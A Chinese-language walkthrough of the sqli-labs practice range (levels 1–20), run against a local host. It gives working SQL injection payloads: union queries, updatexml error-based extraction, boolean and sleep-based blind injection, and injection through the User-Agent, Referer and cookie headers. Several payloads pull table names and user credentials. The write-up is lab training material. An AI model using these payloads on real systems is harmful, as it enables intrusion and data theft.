一、搭建靶场
输入数据库密码
搭建成功
第一关
1.确定攻击点 确定网站可以注入的参数 比如:?id= ?ID= ?a= ?sd=
2.判断闭合方式 ' --+
3.判断字段列数 order by
页面正常 说明存在3列
页面不正常 说明只存在3列
4.联合查询 查当前数据库名,数据库版本,数据库用户
上面已经查出3列,那么联合查询3列,页面显示的是id=1的数据,没有显示我们联合查询的数据,把人家前面查询的id的数据改成不存在的,比如-1
此时页面上出现了我们联合查询的回显点
联合查询了数据库名和用户
5.联合查询 查出网站的数据库里面的所有表名
6.联合查询 查出users表里面的所有列
7.查询表中所有的数据
第二关
1.第二关和第一关类似,先确定攻击点,id=1,页面正常
2.判断闭合方式,及判断字段列数
判断为数字型
3.确认回显
4.确认数据库名及用户名
5.查询数据库中表名
http://127.0.0.1/Less-2/?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
6.查询users表中所有列
http://127.0.0.1/Less-2/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
6.查询表中所有数据
第三关
1.确定攻击点及判断闭合方式
2.判断字段列数
只有3列
3.确认回显
4.确认数据库表名
5.后续查询方法依照前两关!!!
第四关
1.确认攻击点及闭合点
攻击点:?id=1") --+ 来闭合
2.判断字段列数
只有三列
3.确认回显
4.确认数据库表名
后续参照前几关
第五关(报错盲注)
1.?id=1',跟个'会报错,说明有报错注入
2.加--+,闭合成功
3.使用报错函数(updatabase(1,2,3)),报错函数里面三个参数,写1,2,3占位置,我们可以操控的是第二个参数的位置
所以第二个参数的位置换成concat()函数,这个函数也有两个参数,写两个1占位置,我们可以操控的地方也是第二个参数的位置 把第二个参数的位置换成(),里面写我们的子查询语句(select database()) 成功查出数据库名 后面查什么在子查询括号里面查就行
4.查表名
http://localhost/Less-5/?id=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),3)--+
5.查列名
http://localhost/Less-5/?id=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),3)--+
6.查具体的username和password
结果显示不全,只能通过limit一条一条查询
第六关(报错盲注)
1.?id=1',跟个'会报错,说明有报错注入
2.加--+,闭合成功
3.同第五关使用报错函数
4.查表名
5.查列名
6.查具体的username和password
由于显示不全,故使用单行查询(limit:单行查询),修改limit参数即可查询剩余
第七关(布尔盲注)
1.第七关和第六关有所不同,输入?id=1'会报错,而id=1和id=1"时正常,说明id=1'有报错注入,这时候我们可以输入id=1') --+发现依然报错,最后尝试id=1'))--+闭合成功
2.因为页面只有ture和flase两种情况,所以需要使用布尔盲注,确认数据库名为8位
3.确定数据库名
http://127.0.0.1/Less-7/?id=1%27))%20and%20ascii(substr(database(),1,1))%3E115--+,确认数据库第一位ascii码为115,以此类推推出库名
4.确认数据库中有哪些表
测得表中第一位ascii码为101,也就是字母'e'。按照此法依次查出所有表名
5.判断users表中有哪些字符
sacii码大于104而不大于105,说明为105,也就是字母'i',依次类推获取表中字符
第八关
1.?id=1',跟个'会报错,说明有报错注入,输入--+使其闭合
2.测试数据库长度,判断长度为8
3.测试数据库名
http://localhost/Less-8/?id=1' and ascii(substr(database(),1,1))>113--+
http://localhost/Less-8/?id=1' and ascii(substr(database(),1,1))=115--+
第一位字符acs码为'115',也就是字母's',以此类推测出库名
方法和第七关一致,参照第七关方法
第九关(时间盲注)
1.测试各种方法没反应,使用时间吗盲注,发现确实为时间盲注,语句正确会延迟三秒,错误则会立即响应,测得数据库字符长度为8
后续在if的第一条语句中输入布尔盲注的语句即可
第十关(时间盲注)
1.和第九关相同,不同点为闭合方式为:?id=1" --+
第十一关(报错盲注)
1.输入admin'会报错,存在报错注入,闭合方式为#
2.判断字段列数
列数为2
3.查询数据库名
使用报错函数查出数据库名
4.查表名
5.查表中字段名
6.查询具体内容
字符太长可以逐行显示,上面提过(limit函数)
第十二关
1.测试发现第十二关加")会报错,加#闭合
2.判断字段列数
列数为2
3.查询数据库名
4.查表名
5.查询表中字段名
6.查询具体内容
第十三关
1.admin'报错说明有SQL注入,试了几种方法闭合不了,最终选择采用时间盲注
测出数据库为8位
2.判断数据库名
用此方法一次判断出库名的八位字符
admin') and if(ascii(substr(database(),1,1))=115,sleep(3),1)#
判断表名和其他数据的方法请看十五关,修改参数即可
第十四关
1.测试发现admin"会报错,说明存在sql注入,闭合困难,采用时间盲注
测得数据库为8位
2.判断数据库名
用下方语句判断得出数据库名第一位ASC码为115
admin" and if(ascii(substr(database(),1,1))=115,sleep(3),1)#
参照十五关
第十五关
1.只有两种页面,判断为布尔盲注
输入admin'#是闭合成功
2.判断数据库字符数
得出数据库有八位字符
admin' and length(database())=8#
3.判断数据库名
得出第一位字符asc码为115,按此方法修改参数可得出数据库名
admin' and ascii(substr(database(),1,1))=115#
4.判断表名
下方函数可判断出数据库中第一个表的第一位字符,可按此方法修改参数获取所有表名
admin' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101#
5.判断列名
下方函数可判断出users表中第一位字符ASC码为115,按此方法修改参数即可得出其他列名
admin' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105#
6.获取所有参数
下方函数判断出username列中第一位ASCII码为68,按此方法修改参数即可得出所有参数
admin' and ascii(substr((select username from users limit 0,1),1,1))=68#
第十六关
1.判断注入点及闭合方式
页面只有两种回显,说明为布尔盲注,闭合方式为")#
2.判断数据库长度
数据库长度大于7而不大于8,说明数据库为8位
admin") and length(database())>7#
admin") and length(database())>8#
3.判断数据库名
库名第一位ASCII码大于114而不大于115,说明第一位ASCII码为115,即字母's'
按此方法修改参数即可得出数据库全名
admin") and ascii(substr(database(),1,1))>114#
admin") and ascii(substr(database(),1,1))>115#
后续按十五关的方式做即可
第十七关
第十七关和前面几关有很大不同,页面显示我们是在重置密码页面,输入用户名和新密码,根据代码我们可以看出有'update'字样,说明会更新密码,sql语句之前都是查询,这里则是更新数据库的内容,之前的联合注入和布尔盲注以及时间盲注都不能用了。这里我们会用到报错注入。
1.使用报错函数查询数据库名
123' and updatexml(1,concat(1,database()),3)#
2.查询表名
123' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),3)#
3.查列名
查users列的列名
123' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),3)#
查emails的列名
123' and (updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='emails')),1))#
4.爆字段数据
123' and (updatexml (1,concat(1,(select group_concat(id,email_id) from emails)),1))#
第十八关
1.点开页面我们能看到只提示了你现在的ip,可以先看源代码,可以看到源代码中有一句sql语句,当我们输入正确的账户名和密码我们的User-Agent字段内容就会出现在页面上。
2.我们输入用户名和密码进行抓包,在User-Agent后输入'发现会报错,确定有sql注入
3.使用报错语句进行查询数据库名
注意:该语句需要三个参数,所以我们在构造时候也需要有三个参数。
后续查询按照报错查询即可完成
第十九关
1.输入正确的用户名密码显示Referer,说明时http头注入
2.进行抓包,在referer末尾输入',页面报错,我们使用报错语句
3.查出数据库名
后续操作参照前面报错注入
第二十关
1.输入正确的用户名和密码我们会进入此页面,发现页面中有显示cookie,所以我们确定此关为cookie注入
2.进行抓包在cookie末尾加',页面报错
3.使用报错函数查找到数据库名
后续方法参照前面报错注入关卡